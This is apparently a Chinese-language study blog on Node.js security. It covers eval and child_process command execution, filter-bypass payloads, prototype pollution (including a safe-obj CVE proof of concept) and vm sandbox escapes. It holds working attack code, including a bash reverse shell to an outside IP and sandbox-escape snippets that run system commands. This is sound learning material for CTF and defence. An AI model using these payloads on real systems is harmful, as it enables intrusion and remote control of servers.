目录

  1. 1. 前言
  2. 2. 特性
    1. 2.1. 弱类型比较
    2. 2.2. 变量拼接
    3. 2.3. ES6模板字符串
    4. 2.4. 单引号和反引号
    5. 2.5. 大小写特性
  3. 3. 命令执行
    1. 3.1. eval()
    2. 3.2. child_process
      1. 3.2.1. exec() & execSync()
      2. 3.2.2. execFile()
      3. 3.2.3. fork()
      4. 3.2.4. spawn() & spawnSync()
    3. 3.3. 过滤require
    4. 3.4. setIntval()
    5. 3.5. setTimeout()
      1. 3.5.1. 整型溢出
    6. 3.6. Function()
    7. 3.7. bypass
      1. 3.7.1. 16进制编码
      2. 3.7.2. unicode编码
      3. 3.7.3. 加号拼接
      4. 3.7.4. 模板字符串
      5. 3.7.5. concat连接
      6. 3.7.6. base64编码
      7. 3.7.7. Obejct.keys
      8. 3.7.8. Reflect
      9. 3.7.9. 过滤中括号
  4. 4. 基础原型链污染
    1. 4.1. 原型链
    2. 4.2. 漏洞原理
    3. 4.3. merge操作
    4. 4.4. bypass
      1. 4.4.1. __proto__过滤
  5. 5. Undefsafe模块原型链污染
  6. 6. ejs原型链污染
  7. 7. safe-obj污染(CVE-2021-25928)
  8. 8. vm沙盒逃逸
    1. 8.1. 前置知识
    2. 8.2. 漏洞
      1. 8.2.1. 关于this
    3. 8.3. bypass
      1. 8.3.1. this为null
      2. 8.3.2. proxy劫持
      3. 8.3.3. 借助异常处理
  9. 9. vm2
  10. 10. serialize模块反序列化漏洞
  11. 11. Nodejs HTTP拆分攻击

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Nodejs漏洞学习

2023/6/29 Web Nodejs 沙箱逃逸
  |     |   总文章阅读量:

前言

目前包括语言特性,命令执行,原型链污染,vm沙箱逃逸,反序列化

部分trick已单独拆分为一篇文章

参考文章:

https://forum.butian.net/share/1561

https://xz.aliyun.com/t/7184#toc-12

https://boogipop.com/2023/03/02/Node.Js%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/

https://zer0peach.github.io/2023/11/20/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E8%AF%86/

https://www.anquanke.com/post/id/237032

特性

弱类型比较

和php一样存在弱类型的特性

> 1=='1'
true
> 1>'2'
false
> '1'<'2'
true
> 111>'3'
true
> '111'<'3'
true
> 'asd'>1
false

数字与数字字符串比较时,数字型字符串会被强转为数字之后比较
字符串与字符串比较,比第一个ASCII码

> []==[]
false
> []>[]
false
> [1,3]>[5]
false
> [11,45]>'aaa'
false
> [1,2]<'2'
true
> [11,12]<"10"
false

空数组比较为false
数组之间比较第一个值,如果有字符串取第一个比较
数组永远比非数值型字符串小

> null==undefined
true
> null===undefined
false
> NaN==NaN
false
> NaN===NaN
false

null弱等于undefined,NaN不等于NaN


变量拼接

> 5+[6,6]
'56,6'
> "5"+6
'56'
> "5"+[6,6]
'56,6'
> "5"+["6","6"]
'56,6'

数字或字符串跟数组,会和数组中的第一个元素进行拼接,返回的是字符串,拼接的元素与原来的元素之间用,分隔

调用方法时可以用中括号 + 字符串的形式拼接来绕过某些限制

> console['l'+'og']('ciallo')
ciallo

ES6模板字符串

var ranker = "top";
console.log("hello %s",kino);

image-20231015113637396

console.log(`hello${ranker}world`);

image-20231015113814528

利用模板字符串或许可以用来bypass一些关键词的过滤


单引号和反引号

在nodejs中反引号可以用来替代单引号

大小写特性

对于toUpperCase():字符”ı”、”ſ” 经过toUpperCase处理后结果为 “I”、”S”

对于toLowerCase():字符”K”经过toLowerCase处理后结果为”k”(这个K不是K)


命令执行

更多方法请移步官方文档

eval()

和PHP中eval函数一样,eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

demo:

var express = require("express");
var app = express();

app.get('/eval',function(req,res){
    res.send(eval(req.query.a));
    console.log(req.query.a);
})

var server = app.listen(8888, function() {
    console.log("http://127.0.0.1:8888/");
})

child_process

nodejs中用来执行系统命令的模块

以下几个函数底层均为调用 spawn

const child = spawn(file, args, {
  cwd: options.cwd,
  env: options.env,
  gid: options.gid,
  uid: options.uid,
  shell: options.shell,
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

exec() & execSync()

本地测试上面 eval 的那个demo

Node.js中的chile_process.exec调用的是 bash.sh ,它是一个bash解释器,可以执行系统命令。

在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

尝试弹计算器

/eval?a=require('child_process').exec('calc');

image-20230629165142909

反弹shell:

require('child_process').exec("bash -c 'bash -i >& /dev/tcp/115.236.153.170/14723 <&1'")

execFile()

启动一个子进程来执行可执行文件

require('child_process').execFile("calc",{shell:true});

可以执行文件,也可以像这样调用指令,执行文件指的是执行exe这样的,而不是执行js文件

fork()

用于执行 js 文件

实际利用中需要提前写入恶意文件

require('child_process').fork("./hacker.js");

spawn() & spawnSync()

启动一个子进程来执行命令

require('child_process').spawn("calc",{shell:true});

注:上述的execspawnfork等等都是分为同步和异步的,所谓异步也就是不堵塞程序的执行,因此也不可能会有回显,因此一般我们用的都是同步的命令执行来获取回显,如execSyncspawnSync等等


过滤require

现在我们添加一点过滤,把require过滤掉

var express = require("express");
var app = express();

app.get('/eval',function(req,res){
    if (req.query.a.indexOf('require') !== -1) { // 检测关键字
        res.send("Hacker");
        return;
    }
    res.send(eval(req.query.a));
    console.log(req.query.a);
});

var server = app.listen(8888, function() {
    console.log("http://127.0.0.1:8888/");
});

image-20230629170501622

很明显上面的payload打不通了

这个时候可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令,这里其实和flask ssti的payload有类似之处

  • global 对象是 Node.js 环境下的全局对象,它包含了 Node.js 中的一些全局变量和函数。
  • process 对象是 global 对象的一个属性,它包含了当前 Node.js 进程的相关信息和控制方法。
  • mainModule 属性是 process 对象的一个属性,它指向当前 Node.js 应用程序的入口模块。
  • constructor 属性是 mainModule 对象的一个属性,它指向当前模块的构造函数。
  • _load() 方法是 constructor 对象的一个方法,它可以加载指定的模块并返回该模块的导出对象。

global.process.mainModule.constructor._load==require

image-20230629170753689

注:node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,所以有时候会报require is not defined 。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译

setIntval()

间隔两秒执行函数:

setInterval(some_function, 2000)

setTimeout()

两秒后执行函数:

setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

弹计算器:

setInterval(require('child_process').exec('calc'), 2000);

整型溢出

当设置的延迟时间不在1~2^31-1这个int范围内时,就会溢出为1,相当于0延迟

Function()

输出HelloWorld:

Function("console.log('HelloWolrd')")()

类似于php中的create_function


bypass

16进制编码

console.log("a"==="\x61");
// true

正则匹配的时候,16进制不会转化成字符,于是有

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

unicode编码

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

加号拼接

加号在js中可以用来连接字符

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

模板字符串

上面讲特性的时候已经提到过了

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

concat连接

利用js中的concat函数连接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

base64编码

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

接下来考虑一些js的语法和内置函数来bypass

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
// true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

image-20240324010650804

Reflect

使用Reflect这个关键字来实现反射调用函数

可以通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval,接下来就能rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("whoami")').toString()

这里还有个小trick:如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startsWith('eva')来搜索

过滤中括号

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]

所以取 eval 的函数方式变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可


基础原型链污染

原型链

关于原型链的详细文章

在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法

object.prototype.name=value

在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)

可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

示例:

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

image-20230630120238373


漏洞原理

p神的文章

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__

我们就可以给object对象的原型设置一个b属性,值为value。

这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

image-20230630120634433

我们可以发现object2在没有设置foo属性的情况下,也输出了Hello World

因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype

在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找

这就造成了一个原型链污染,所以原型链污染的本质应该是利用子类继承父类的特性实现的,只要我们能控制一个子类并修改其对象的原型,就能影响到所有和这个对象同一个原型的对象


merge操作

表示合并两个或多个对象或数组的操作,将它们的属性或元素合并到一个新的对象或数组中

例:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

注:在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

最终输出的结果为

image-20230630122542932

可见object3的b是从原型中获取到的,说明Object已经被污染了。

大致流程:

object2.a=1=object1.a

object2.__proto__={"b": 2}=object1.__proto__=object3.__proto__–>object3={"b": 2}–>object3.b=2


bypass

__proto__过滤

过滤了__proto__可以考虑在末尾加空格__proto__ ,或者使用上面提到的obj.constructor.prototype来代替,obj.constructor.prototype==obj.__proto__

{
    "constructor":{
        "prototype":{
            "ctfshow":"36dboy"
        }
    }
}
// 等同于
{
    "__proto__":{
        "ctfshow":"36dboy"
    }
}

Undefsafe模块原型链污染

跳转链接:https://c1oudfl0w0.github.io/blog/2023/11/18/Undefsafe模块原型链污染


ejs原型链污染

跳转链接:https://c1oudfl0w0.github.io/blog/2024/01/19/ejs原型链污染


safe-obj污染(CVE-2021-25928)

safe-obj库中的漏洞点:

expand: function (obj, path, thing) {
  if (!path || typeof thing === 'undefined') {
    return;
  }
  obj = isObject(obj) && obj !== null ? obj : {};
  var props = path.split('.');
  if (props.length === 1) {
    obj[props.shift()] = thing;
  } else {
    var prop = props.shift();
    if (!(prop in obj)) {
      obj[prop] = {};
    }
    _safe.expand(obj[prop], props.join('.'), thing);
  }
},

接递归按照 . 做分隔写入 obj,很明显可以原型链污染

poc:

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

vm沙盒逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序

前置知识

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性

image-20240324002348583

demo:

const vm = require('vm')

let localvar = 'initial value';
const vmresult = vm.runInThisContext('localvar = "123";');
console.log(vmresult)
console.log(localvar)

//123
//initial value

即沙箱的环境不会对当前作用域产生影响

  • vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),这里设 v8 为这个沙箱对象,在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问 global 中的属性。

  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

image-20240324002905769

demo:

const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3
  • vm.runInNewContext(code[, sandbox][, options]):creatContext 和 runInContext 的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 :vm.Script 类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
  • new vm.Script(code, options):创建一个新的 vm.Script 对象只编译代码但不会执行它。编译过的 vm.Script 此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
const util = require('util');
const vm = require('vm');
const sandbox = {
    animal:"cat",
    count:2
};
const script = new vm.Script('count +=1;name = "kitty"');	// 自己设置的预编译脚本
const context = vm.createContext(sandbox);
script.runInContext(context);	// 执行脚本
console.log(util.inspect(sandbox));

//{ animal: 'cat', count: 3, name: 'kitty' }

漏洞

vm 可以通过构造语句来逃逸到主程序进行命令执行

具体的思路就是获取process对象,然后require('child_process')

demo:

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

执行之后可以获取到主程序环境中的环境变量

上面的例子等价于下面的代码

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

创建vm环境时,首先要初始化一个对象sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用 Function 对象构造一个函数并执行Function()(此时Function对象的上下文环境是处于主程序中的)

这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量

image-20231018110606476

配合前面的chile_process.exec()就可以执行任意命令

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

关于this

以这个为例

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

对于前面的poc,我们能不能把this.toString.constructor('return process')()中的 this 换成{}呢?答案是不能

{}的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到 global 下的

如果我们将 this 换成 m 或 n 也是访问不到的,因为数字,字符串,布尔这些都是 primitive 类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),在沙盒内使用的m、n已经不是原来的m、n了,所以无法利用

不过只要我们将m、n改成其他类型就可以利用了

const inspect = require('util').inspect
const vm = require('vm');

const script = new vm.Script(`
(e => {
    const y1 = x.toString.constructor('return process')()  // 用m,n,x都行
    return y1.mainModule.require('child_process').execSync('whoami').toString()
})()

`)

const sandbox = {m:[],n:{},x: /regexp/};      //只要m,n,x不为数字,字符串,布尔等都行

const context = new vm.createContext(sandbox);

const res = script.runInContext(context);
console.log(res);

bypass

this为null

本质是重写对象

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

此时this->null,无法像之前一样逃逸

这时候就得用到函数的一个内置对象属性arguments.callee.caller,它返回的是函数的调用者

上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法

这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

这样就可以成功进行命令执行

分析代码,首先是箭头函数

image-20231018111900997

类似于匿名函数,并且简化了函数定义

demo:

x => x * x
// 相当于
function (x) {
    return x * x;
}

而上面的() => {...}就相当于定义了一个无参匿名函数,然后进行调用

回到bypass,代码重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller获取到了一个沙盒外的对象,进而和上面一样获取process


proxy劫持

如果沙箱外没有执行字符串的相关操作来触发这个toString(如上面的console.log('Hello ' + res)),并且也没有可以用来进行恶意重写的函数(如上面的a.toString),我们可以用Proxy来劫持属性

proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行


借助异常处理

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

上述代码表面上看因为没有返回值,无法直接利用

而这里我们用了throw new Proxy,catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来

image-20231018113442307


vm2

不急(


serialize模块反序列化漏洞

跳转链接:https://c1oudfl0w0.github.io/blog/2023/11/18/serialize模块反序列化漏洞


Nodejs HTTP拆分攻击

跳转链接:https://c1oudfl0w0.github.io/blog/2024/1/20/Nodejs-HTTP拆分攻击